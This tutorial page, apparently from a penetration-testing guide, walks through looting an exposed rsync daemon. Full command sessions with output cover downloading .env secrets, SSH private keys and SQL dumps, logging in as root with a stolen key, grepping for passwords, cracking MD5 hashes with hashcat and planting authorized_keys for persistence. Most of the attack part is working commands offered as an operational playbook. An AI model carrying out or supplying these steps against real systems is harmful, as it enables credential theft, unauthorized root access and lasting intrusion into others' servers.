Skip to content

Rsync File Access and Loot

9 min read Created Mar 30, 2026 Last updated Mar 30, 2026

Confirmed read access to an rsync module enables downloading any file the module exposes. High-value targets are SSH private keys, application config files, .env files with database credentials, database dumps, and web root source code. Confirm unauthenticated access through unauthenticated access testing before running bulk downloads.

Start with a full file listing before downloading anything. The directory structure inside a module often mirrors the server's actual filesystem layout. A module named backup typically points to /var/backups or a similar path. A module named www usually exposes the web root directly. Create a dedicated loot directory per target before starting. Using the target IP as part of the path keeps loot organized when testing multiple targets.

  • Pull Specific High-Value Files
  • Pull Full Module to Disk
  • Search Pulled Files for Credentials
  • Pull Web Root for Source Code Analysis
  • Database Dump Analysis

Pull Specific High-Value Files

Target individual files rather than pulling the entire module when you have identified specific targets from the listing. This avoids transferring large trees and keeps the footprint small. The .env output typically shows database credentials, app secrets, and cloud API keys in plaintext. A visible AWS access key in the output is immediately actionable against AWS services. Retrieve id_rsa keys, set correct permissions with chmod 600, then test SSH access directly. A successful SSH login as root confirms the key is active and unprotected.

┌──(kali㉿kali)-[~]
└─$ rsync rsync://$TARGET_IP:873/backup/.env /tmp/loot/.env && cat /tmp/loot/.env
DB_HOST=127.0.0.1
DB_DATABASE=webapp
DB_USERNAME=webapp_user
DB_PASSWORD=SuperSecret123!
APP_KEY=base64:abc123==
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=wJalr...
Explain command
rsync://$TARGET_IP:873/backup/.env Source URI targeting rsync daemon on port 873, fetching .env from backup module
/tmp/loot/.env Local destination path where the retrieved .env file is saved
/tmp/loot/.env File path passed to cat to display the retrieved .env contents
┌──(kali㉿kali)-[~]
└─$ rsync rsync://$TARGET_IP:873/backup/id_rsa /tmp/loot/id_rsa
┌──(kali㉿kali)-[~]
└─$ chmod 600 /tmp/loot/id_rsa
┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/loot/id_rsa root@$TARGET_IP 'id'
uid=0(root) gid=0(root) groups=0(root)
Explain command
rsync://$TARGET_IP:873/backup/id_rsa Rsync URI targeting port 873 on the host to fetch the id_rsa file.
/tmp/loot/id_rsa Local destination path where the exfiltrated private key is saved.
600 Sets file permissions to owner read/write only, required for SSH key files.
-i /tmp/loot/id_rsa Specifies the private key file to use for SSH authentication.
root@$TARGET_IP SSH login target using the root account on the specified host.
'id' Remote command executed over SSH to confirm current user identity.

Pull Full Module to Disk

When you need everything from a module, sync the full tree preserving permissions and timestamps. Archive mode transfers permissions, symlinks, modification times, and file ownership intact. The downloaded file count gives an immediate sense of the module's contents. A count under 100 suggests a focused backup or config directory. A count in the thousands suggests a full web root or user home directory. Check file sizes after syncing to identify large database dumps or archive files worth examining first.

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/loot/rsync/$TARGET_IP/backup
┌──(kali㉿kali)-[~]
└─$ rsync -a --no-motd rsync://$TARGET_IP:873/backup/ /tmp/loot/rsync/$TARGET_IP/backup/
┌──(kali㉿kali)-[~]
└─$ echo "Downloaded $(find /tmp/loot/rsync/$TARGET_IP/backup -type f | wc -l) files"
Downloaded 47 files
Explain command
-p Create parent directories as needed, no error if existing.
/tmp/loot/rsync/$TARGET_IP/backup Local destination path using target IP as directory name.
-a Archive mode: preserves permissions, timestamps, symlinks, etc.
--no-motd Suppress message of the day output from the rsync server.
rsync://$TARGET_IP:873/backup/ Source rsync URI targeting port 873 and the backup module.
$TARGET_IP Placeholder for the target host IP address.
-type f Find filter to match only regular files, not directories.
┌──(kali㉿kali)-[~]
└─$ rsync -a --no-motd --timeout=10 rsync://$TARGET_IP:873/www/ /tmp/loot/rsync/$TARGET_IP/www/
Explain command
-a Archive mode: preserves permissions, timestamps, symlinks, etc.
--no-motd Suppresses the message of the day from the remote rsync server.
--timeout=10 Sets I/O timeout to 10 seconds before aborting the connection.
rsync://$TARGET_IP:873/www/ Source URL: rsync protocol on target IP port 873, module path /www/.
/tmp/loot/rsync/$TARGET_IP/www/ Local destination directory where synced files are saved.

Search Pulled Files for Credentials

Immediately grep the downloaded content for credentials, keys, and connection strings. The output shows each file path and line number alongside the matching value. Prioritize .env files, database config files, and YAML service configurations. A hit on /backup/.env:DB_PASSWORD is a direct credential usable immediately. Test found passwords against SSH, the web application login, and any reachable database port. Credential reuse across services is common in real-world environments. Run the SSH key search separately from the grep. Private keys found in a backup module often belong to admin or deployment accounts.

┌──(kali㉿kali)-[~]
└─$ grep -rn --include='*.php' --include='*.env' --include='*.config' --include='*.conf' --include='*.yml' --include='*.yaml' --include='*.ini' -iE '(password|passwd|secret|api_key|db_pass|token)[[:space:]]*[=:][[:space:]]*["'"'"']?.{4,}' /tmp/loot/rsync/$TARGET_IP/
/tmp/loot/rsync/10.10.10.50/backup/.env:DB_PASSWORD=SuperSecret123!
/tmp/loot/rsync/10.10.10.50/www/config.php:$db_pass = 'admin123!';
Explain command
-r Recursively search through directories.
-n Print line numbers alongside matching lines.
--include='*.php' Limit search to files with .php extension.
--include='*.env' Limit search to files with .env extension.
--include='*.config' Limit search to files with .config extension.
--include='*.conf' Limit search to files with .conf extension.
--include='*.yml' Limit search to files with .yml extension.
--include='*.yaml' Limit search to files with .yaml extension.
--include='*.ini' Limit search to files with .ini extension.
-i Perform case-insensitive pattern matching.
-E Interpret the pattern as an extended regular expression.
'(password|passwd|secret|api_key|db_pass|token)[[:space:]]*[=:][[:space:]]*["'"'"']?.{4,}' Regex matching common credential keys followed by an assigned value.
/tmp/loot/rsync/$TARGET_IP/ Target directory path scoped to the rsync-looted host IP.
┌──(kali㉿kali)-[~]
└─$ find /tmp/loot/rsync/$TARGET_IP/ -name 'id_rsa' -o -name 'id_ed25519' -o -name '*.pem' -o -name '*.key' 2>/dev/null
/tmp/loot/rsync/10.10.10.50/backup/id_rsa
Explain command
/tmp/loot/rsync/$TARGET_IP/ Root directory to search, scoped to the target IP's loot folder.
-name 'id_rsa' Match files named exactly 'id_rsa' (RSA private key).
-o Logical OR operator combining multiple -name expressions.
-name 'id_ed25519' Match files named exactly 'id_ed25519' (Ed25519 private key).
-name '*.pem' Match any file with a .pem extension (certificate/key bundle).
-name '*.key' Match any file with a .key extension (generic private key file).
2>/dev/null Suppress stderr by redirecting error output to /dev/null.

Pull Web Root for Source Code Analysis

When the www module maps to a web root, download and analyse the source for additional vulnerabilities. PHP applications often store database credentials in config files alongside dangerous function calls. The find and grep pipeline identifies files worth reading in detail. A hit on admin/tools.php signals a potential command injection point or an undocumented admin tool. Read the matched file directly to confirm the function call and identify the input vector. Check whether the parameter originates from user-controlled input such as a GET or POST value. Look also for file upload handlers, which may accept arbitrary extensions and allow web shell placement.

┌──(kali㉿kali)-[~]
└─$ rsync -a --no-motd rsync://$TARGET_IP:873/www/ /tmp/loot/rsync/$TARGET_IP/www/
┌──(kali㉿kali)-[~]
└─$ find /tmp/loot/rsync/$TARGET_IP/www/ -name '*.php' | xargs grep -l 'system\|exec\|passthru\|shell_exec\|eval' 2>/dev/null
/tmp/loot/rsync/10.10.10.50/www/admin/tools.php
Explain command
-a Archive mode: preserves permissions, timestamps, symlinks, etc.
--no-motd Suppresses the message of the day from the rsync server.
rsync://$TARGET_IP:873/www/ Target rsync URI connecting to port 873 on the remote host, www module.
/tmp/loot/rsync/$TARGET_IP/www/ Local destination path where synced files are stored.
/tmp/loot/rsync/$TARGET_IP/www/ Root directory to search for PHP files recursively.
-name '*.php' Filters find results to only files with a .php extension.
-l Prints only filenames of files containing a match, not the matches.
'system\|exec\|passthru\|shell_exec\|eval' Grep pattern matching common PHP code execution functions.
2>/dev/null Redirects stderr to null, suppressing error messages.

PHP files using system, exec, or shell_exec are potential command injection candidates. Cross-reference with the live web application to confirm exploitability. Also check pulled PHP source files for hardcoded credentials. Config files included via require or include sometimes contain database passwords that differ from the .env values. The file permissions preserved by archive mode reveal whether the web server user has write access to specific directories. A world-writable directory under the web root is a viable web shell drop location. Gaining write access through another vector makes it immediately useful.

Database Dump Analysis

SQL dumps often contain application user credentials in plaintext or hashed form. The INSERT statement output shows the hash value directly alongside the username and email address. Identify the hash type before attempting to crack it. A 32-character hex string is likely MD5. A 60-character string starting with $2y$ is bcrypt. Hashcat mode 0 handles MD5 hashes. Mode 3200 handles bcrypt but runs significantly slower against large wordlists. Run extracted hashes against rockyou.txt as a first pass. A cracked password from a database dump is often reused for SSH, the admin panel, or other services. Plaintext passwords found in the dump are immediately usable without cracking.

┌──(kali㉿kali)-[~]
└─$ rsync rsync://$TARGET_IP:873/backup/db_dump.sql /tmp/loot/db_dump.sql
┌──(kali㉿kali)-[~]
└─$ grep -iE 'INSERT.*users|password|hash' /tmp/loot/db_dump.sql | head -10
INSERT INTO users VALUES (1,'admin','5f4dcc3b5aa765d61d8327deb882cf99','administrator@company.com');
Explain command
rsync://$TARGET_IP:873/backup/db_dump.sql Source URI connecting to rsync daemon on port 873, fetching db_dump.sql.
/tmp/loot/db_dump.sql Local destination path where the retrieved file is saved.
-iE Case-insensitive matching with extended regex syntax.
'INSERT.*users|password|hash' Regex pattern targeting SQL inserts, password, or hash strings.
/tmp/loot/db_dump.sql Input file for grep to search through.
head -10 Limits grep output to the first 10 matching lines.
┌──(kali㉿kali)-[~]
└─$ grep -oE '[a-f0-9]{32}' /tmp/loot/db_dump.sql | sort -u > /tmp/md5_hashes.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 0 /tmp/md5_hashes.txt /usr/share/wordlists/rockyou.txt
5f4dcc3b5aa765d61d8327deb882cf99:password
Explain command
-oE Print only matching parts (-o) using extended regex (-E).
'[a-f0-9]{32}' Regex pattern matching 32-char hex strings (MD5 hashes).
/tmp/loot/db_dump.sql Input file path containing the SQL database dump to search.
sort -u Sort results and remove duplicate hash entries.
> /tmp/md5_hashes.txt Redirect deduplicated hashes to output file.
-m 0 Set hash type to MD5 (mode 0) for cracking.
/tmp/md5_hashes.txt Input file containing MD5 hashes to crack.
/usr/share/wordlists/rockyou.txt Wordlist file used as dictionary attack source.

After collecting credentials and keys, test them against other accessible services on the target. SSH, database ports, web admin panels, and API endpoints are all worth checking. Credential reuse is one of the most valuable outcomes from rsync loot. Document every credential found with its source file and the service it belongs to. If the rsync module is read-write rather than read-only, consider what persistence options the write capability enables. Writing an authorized_keys entry to a home directory exposed through rsync provides persistent SSH access. No additional vulnerability is needed to establish it.

References